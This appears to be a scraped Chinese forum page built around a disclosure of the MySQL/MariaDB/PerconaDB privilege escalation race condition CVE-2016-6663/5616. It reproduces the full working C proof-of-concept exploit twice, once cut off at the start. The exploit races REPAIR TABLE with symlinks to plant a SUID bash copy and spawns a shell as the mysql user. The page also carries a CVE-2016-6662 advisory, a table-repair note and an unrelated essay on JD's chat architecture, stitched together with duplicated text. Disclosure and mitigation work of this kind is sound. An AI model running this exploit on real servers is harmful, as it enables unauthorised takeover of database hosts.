usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}视频参考:http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
 
临时解决办法:
在my.cnf中添加symbolic-links = 0

 

参考链接:http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html 
原文链接:http://bobao.360.cn/learning/detail/3152.html  查看全部
mysql.png

漏洞发现人:Dawid Golunski
漏洞级别:严重
CVE编号 :CVE-2016-6663 / CVE-2016-5616
 
漏洞影响
Version.png

 
漏洞描述 :
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码。成功利用此漏洞,允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。
 
漏洞细节:
基于MYSQL的数据库允许用户新建数据库,并且指定存储目录。例如:
attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/
可以通过data directory参数指定存储目录为/tmp/disktable/
 
mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
执行完成后,查看下目录权限,变为mysql
attacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD
低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建。
mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table | Op | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status | OK |
+----------------+--------+----------+----------+
通过查看系统调用,可以看到
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid 1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid 1463] lseek(65, 0, SEEK_CUR) = 0
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] lseek(64, 0, SEEK_END) = 1024
[pid 1463] close(65) = 0
[pid 1463] close(66) = 0
[pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0
第一个系统调用是
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限。因此在
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
系统调用之间,产生了条件竞争漏洞。

如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限。

攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题,suid shell将只会保留攻击者的UID,而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限。

可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制
新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)
attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/
通过data directory参数指定存储目录为/tmp/disktable/
mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)
再次查看/tmp/disktable/权限
attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD
我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。

漏洞验证:
bugqa1.png

bugqa2.png

 
POC
------------------[ mysql-privesc-race.c ]--------------------
/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered/Coded by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
Note:
* On RedHat-based systems you might need to change /tmp to another public directory
* For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
*/
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {

if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}
视频参考:http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
 
临时解决办法:
在my.cnf中添加
symbolic-links = 0

 


参考链接:http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html 
原文链接:http://bobao.360.cn/learning/detail/3152.html 


MySQL远程代码执行漏洞安全预警

开源技术Geek小A 发表了文章 • 0 个评论 • 213 次浏览 • 2016-10-11 13:53 • 来自相关话题

MySQL最近爆出高危漏洞CVE-2016-6662,可导致远程代码执行/权限提升。
 
影响范围:MySQL <= 5.7.15,
<=5.6.33,
<= 5.5.52PerconaDB与MariaDB也受此漏洞影响。

修复方案:
1.oracle官网发布mysql修复补丁后立即升级版本。PerconaDB与MariaDB官网已经发布补丁,请升级到最新版本。下载地址分别如下:
https://mariadb.org/download/ 
https://www.percona.com/downloads/ 

2.暂时的缓解策略:
修改MySQL所有用户密码为复杂密码;
关闭MySQL普通用户的File文件访问权限;
以root用户身份创建一个虚假my.cnf文件;
 
 
漏洞详情:
攻击者通过一个拥有File权限的MySQL普通用户将恶意库文件路径插入到MySQL配置文件的malloc_lib变量中,当MySQL服务重启时就可以加载恶意库文件实现以root权限执行任意代码。
 
漏洞利用条件:
攻击者可以在配置文件中注入恶意配置;上传恶意的so到lib库中;db重启(重新加载恶意配置)。
 
 
验证方法参考:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html 查看全部
bug.png

MySQL最近爆出高危漏洞CVE-2016-6662,可导致远程代码执行/权限提升。
 
影响范围:
MySQL <= 5.7.15,
<=5.6.33,
<= 5.5.52
PerconaDB与MariaDB也受此漏洞影响。

修复方案:
1.oracle官网发布mysql修复补丁后立即升级版本。PerconaDB与MariaDB官网已经发布补丁,请升级到最新版本。下载地址分别如下:
https://mariadb.org/download/ 
https://www.percona.com/downloads/ 

2.暂时的缓解策略:
修改MySQL所有用户密码为复杂密码;
关闭MySQL普通用户的File文件访问权限;
以root用户身份创建一个虚假my.cnf文件;
 
 
漏洞详情:
攻击者通过一个拥有File权限的MySQL普通用户将恶意库文件路径插入到MySQL配置文件的malloc_lib变量中,当MySQL服务重启时就可以加载恶意库文件实现以root权限执行任意代码。
 
漏洞利用条件:
  1. 攻击者可以在配置文件中注入恶意配置;
  2. 上传恶意的so到lib库中;
  3. db重启(重新加载恶意配置)。

 
 
验证方法参考:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

记一次mysql故障: is marked as crashed and should be repaired

数据库Not see︶ 发表了文章 • 1 个评论 • 260 次浏览 • 2016-09-24 21:03 • 来自相关话题

机器断电导致mysql不正常停服, 日志报错:
160924 20:24:17 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:24:17 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:24:57 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:24:57 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:24:58 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:24:58 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:09 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:09 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:23 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:23 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:24 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:24 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:29 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:29 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:40 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:40 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:42 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
这段错误提示  ./Zblog/zbp_post 有问题

于是进行修复

找到mysql的安装目录的bin/myisamchk工具,在命令行中输入:
[root@VM_132_47_centos ~]# myisamchk -c -r /var/lib/mysql/Zblog/zbp_post.MYI
- recovering (with sort) MyISAM-table '/var/lib/mysql/Zblog/zbp_post.MYI'
Data records: 77
- Fixing index 1
- Fixing index 2 查看全部
机器断电导致mysql不正常停服, 日志报错:
160924 20:24:17 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:24:17 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:24:57 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:24:57 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:24:58 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:24:58 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:09 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:09 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:23 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:23 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:24 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:24 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:29 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:29 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:40 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:40 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
160924 20:25:42 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
这段错误提示  ./Zblog/zbp_post 有问题

于是进行修复

找到mysql的安装目录的bin/myisamchk工具,在命令行中输入:
[root@VM_132_47_centos ~]# myisamchk -c -r /var/lib/mysql/Zblog/zbp_post.MYI
- recovering (with sort) MyISAM-table '/var/lib/mysql/Zblog/zbp_post.MYI'
Data records: 77
- Fixing index 1
- Fixing index 2

京东咚咚架构演进

开源技术koyo 发表了文章 • 0 个评论 • 349 次浏览 • 2016-08-24 22:26 • 来自相关话题

咚咚是什么?咚咚之于京东相当于旺旺之于淘宝,它们都是服务于买家和卖家的沟通。 自从京东开始为第三方卖家提供入驻平台服务后,咚咚也就随之诞生了。 我们首先看看它诞生之初是什么样的。
 

1.0 诞生(2010 - 2011)​

为了业务的快速上线,1.0 版本的技术架构实现是非常直接且简单粗暴的。 如何简单粗暴法?请看架构图,如下:




1.0 的功能十分简单,实现了一个 IM 的基本功能,接入、互通消息和状态。 另外还有客服功能,就是顾客接入咨询时的客服分配,按轮询方式把顾客分配给在线的客服接待。 用开源 Mina 框架实现了 TCP 的长连接接入,用 Tomcat Comet 机制实现了 HTTP 的长轮询服务。 而消息投递的实现是一端发送的消息临时存放在 Redis 中,另一端拉取的生产消费模型。

这个模型的做法导致需要以一种高频率的方式来轮询 Redis 遍历属于自己连接的关联会话消息。 这个模型很简单,简单包括多个层面的意思:理解起来简单;开发起来简单;部署起来也简单。 只需要一个 Tomcat 应用依赖一个共享的 Redis,简单的实现核心业务功能,并支持业务快速上线。

但这个简单的模型也有些严重的缺陷,主要是效率和扩展问题。 轮询的频率间隔大小基本决定了消息的延时,轮询越快延时越低,但轮询越快消耗也越高。 这个模型实际上是一个高功耗低效能的模型,因为不活跃的连接在那做高频率的无意义轮询。 高频有多高呢,基本在 100 ms 以内,你不能让轮询太慢,比如超过 2 秒轮一次,人就会在聊天过程中感受到明显的会话延迟。 随着在线人数增加,轮询的耗时也线性增长,因此这个模型导致了扩展能力和承载能力都不好,一定会随着在线人数的增长碰到性能瓶颈。

1.0 的时代背景正是京东技术平台从 .NET 向 Java 转型的年代,我也正是在这期间加入京东并参与了京东主站技术转型架构升级的过程。 之后开始接手了京东咚咚,并持续完善这个产品,进行了三次技术架构演进。
 

2.0 成长(2012)

我们刚接手时 1.0 已在线上运行并支持京东 POP(开放平台)业务,之后京东打算组建自营在线客服团队并落地在成都。 不管是自营还是 POP 客服咨询业务当时都起步不久,1.0 架构中的性能和效率缺陷问题还没有达到引爆的业务量级。 而自营客服当时还处于起步阶段,客服人数不足,服务能力不够,顾客咨询量远远超过客服的服务能力。 超出服务能力的顾客咨询,当时我们的系统统一返回提示客服繁忙,请稍后咨询。 这种状况导致高峰期大量顾客无论怎么刷新请求,都很可能无法接入客服,体验很差。 所以 2.0 重点放在了业务功能体验的提升上,如下图所示:




针对无法及时提供服务的顾客,可以排队或者留言。 针对纯文字沟通,提供了文件和图片等更丰富的表达方式。 另外支持了客服转接和快捷回复等方式来提升客服的接待效率。 总之,整个 2.0 就是围绕提升客服效率和用户体验。 而我们担心的效率问题在 2.0 高速发展业务的时期还没有出现,但业务量正在逐渐积累,我们知道它快要爆了。 到 2012 年末,度过双十一后开始了 3.0 的一次重大架构升级。
 

3.0 爆发(2013 - 2014)

经历了 2.0 时代一整年的业务高速发展,实际上代码规模膨胀的很快。 与代码一块膨胀的还有团队,从最初的 4 个人到近 30 人。 团队大了后,一个系统多人开发,开发人员层次不一,规范难统一,系统模块耦合重,改动沟通和依赖多,上线风险难以控制。 一个单独 tomcat 应用多实例部署模型终于走到头了,这个版本架构升级的主题就是服务化。

服务化的第一个问题如何把一个大的应用系统切分成子服务系统。 当时的背景是京东的部署还在半自动化年代,自动部署系统刚起步,子服务系统若按业务划分太细太多,部署工作量很大且难管理。 所以当时我们不是按业务功能分区服务的,而是按业务重要性级别划分了 0、1、2 三个级别不同的子业务服务系统。 另外就是独立了一组接入服务,针对不同渠道和通信方式的接入端,见下图。




更细化的应用服务和架构分层方式可见下图:




这次大的架构升级,主要考虑了三个方面:稳定性、效率和容量。 做了下面这些事情:
业务分级、核心、非核心业务隔离多机房部署,流量分流、容灾冗余、峰值应对冗余读库多源,失败自动转移写库主备,短暂有损服务容忍下的快速切换外部接口,失败转移或快速断路Redis 主备,失败转移大表迁移,MongoDB 取代 MySQL 存储消息记录改进消息投递模型
 
前 6 条基本属于考虑系统稳定性、可用性方面的改进升级。 这一块属于陆续迭代完成的,承载很多失败转移的配置和控制功能在上面图中是由管控中心提供的。 第 7 条主要是随着业务量的上升,单日消息量越来越大后,使用了 MongoDB 来单独存储量最大的聊天记录。 第 8 条是针对 1.0 版本消息轮询效率低的改进,改进后的投递方式如下图所示:




不再是轮询了,而是让终端每次建立连接后注册接入点位置,消息投递前定位连接所在接入点位置再推送过去。 这样投递效率就是恒定的了,而且很容易扩展,在线人数越多则连接数越多,只需要扩展接入点即可。 其实,这个模型依然还有些小问题,主要出在离线消息的处理上,可以先思考下,我们最后再讲。

3.0 经过了两年的迭代式升级,单纯从业务量上来说还可以继续支撑很长时间的增长。 但实际上到 2014 年底我们面对的不再是业务量的问题,而是业务模式的变化。 这直接导致了一个全新时代的到来。
 

4.0 涅槃(2015 至今 )

2014 年京东的组织架构发生了很大变化,从一个公司变成了一个集团,下设多个子公司。 原来的商城成为了其中一个子公司,新成立的子公司包括京东金融、京东智能、京东到家、拍拍、海外事业部等。 各自业务范围不同,业务模式也不同,但不管什么业务总是需要客服服务。 如何复用原来为商城量身订做的咚咚客服系统并支持其他子公司业务快速接入成为我们新的课题。

最早要求接入的是拍拍网,它是从腾讯收购的,所以是完全不同的账户和订单交易体系。 由于时间紧迫,我们把为商城订做的部分剥离,基于 3.0 架构对接拍拍又单独订做了一套,并独立部署,像下面这样。




虽然在业务要求的时间点前完成了上线,但这样做也带来了明显的问题:
复制工程,定制业务开发,多套源码维护成本高独立部署,至少双机房主备外加一个灰度集群,资源浪费大
 
以前我们都是面向业务去架构系统,如今新的业务变化形势下我们开始考虑面向平台去架构,在统一平台上跑多套业务,统一源码,统一部署,统一维护。 把业务服务继续拆分,剥离出最基础的 IM 服务,IM 通用服务,客服通用服务,而针对不同的业务特殊需求做最小化的定制服务开发。 部署方式则以平台形式部署,不同的业务方的服务跑在同一个平台上,但数据互相隔离。 服务继续被拆分的更微粒化,形成了一组服务矩阵(见下图)




